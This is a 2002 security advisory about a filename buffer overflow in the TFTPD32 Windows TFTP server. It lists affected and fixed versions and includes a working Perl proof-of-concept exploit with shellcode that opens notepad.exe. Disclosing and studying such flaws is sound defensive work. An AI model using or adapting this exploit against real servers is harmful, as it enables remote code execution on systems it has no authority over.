TFTPD32 Buffer Overflow in Processing Filenames Allows Remote Users to Execute Arbitrary Code
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SecurityTracker Alert ID: 1005646 |
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Nov 17 2002
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Impact: Execution of arbitrary code via network, User access via network
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Fix Available: Yes
Vendor Confirmed: Yes
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Version(s): 2.21 and prior versions
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Description: A vulnerability was reported in the TFTPD32 TFTP server for Microsoft Windows-based platforms. A remote user can execute arbitrary code on the server.
SecuriTeam reported that a remote user can supply a long filename to the TFTP server to trigger the overflow and execute arbitrary code.
A demonstration exploit script is provided in the Source Message.
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Impact: A remote user can execute arbitrary code on the server.
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Solution: The vendor has released a fixed version (2.50.2), available at:
http://perso.wanadoo.fr/philippe.jounin/download.html
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Vendor URL: tftpd32.jounin.net/ (Links to External Site)
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Cause: Boundary error
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Underlying OS: Windows (Any)
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Reported By: support@securiteam.com
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Message History:
None.
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Source Message Contents
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Date: 17 Nov 2002 22:14:16 +0200
From: support@securiteam.com
Subject: [NT] TFTPD32 Buffer Overflow Vulnerability (Long filename)
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The following security advisory is sent to the securiteam mailing list, and can be found at the Secur
iTeam web site: http://www.securiteam.com
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to our service provider team.
For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
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TFTPD32 Buffer Overflow Vulnerability (Long filename)
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SUMMARY
<http://tftpd32.jounin.net> TFTPD32 is a Freeware TFTP server for Windows
9x/NT/XP. It provides an implementation of the TFTPv2 protocol (specified
in the RFC 1350).
A vulnerability in the product allows remote attackers to cause the
product to execute arbitrary code.
DETAILS
Vulnerable systems:
* TFTP32 version 2.21 and prior
Immune systems:
* TFTP32 version 2.50.2
Exploit:
#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";
#$buf .= "\x00\x02"; # Send ---- Choose one
$buf .= "\x00\x01"; # Recieve
$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;
$address = "\xFF\xFF\xFF\xFF";
$buf .= $address;
$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";
$egg .= "\x90\x90\x90\x90\x90\x90";
$buf .= $egg;
$buf .= "\x00binary\x00";
$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' should open up a notepad\n";
ADDITIONAL INFORMATION
The information has been provided by <mailto:expert@securiteam.com>
SecurITeam Experts.
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